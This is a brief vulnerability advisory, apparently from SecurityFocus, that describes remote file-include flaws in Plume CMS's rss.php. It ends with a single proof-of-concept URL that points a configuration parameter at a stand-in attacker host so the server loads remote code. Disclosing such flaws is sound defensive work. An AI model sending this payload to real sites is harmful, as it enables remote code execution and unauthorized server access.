source: https://www.securityfocus.com/bid/18780/info

Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

http://www.example.com/(path)/rss.php?_PX_config[manager_path]=http://evilcode.txt?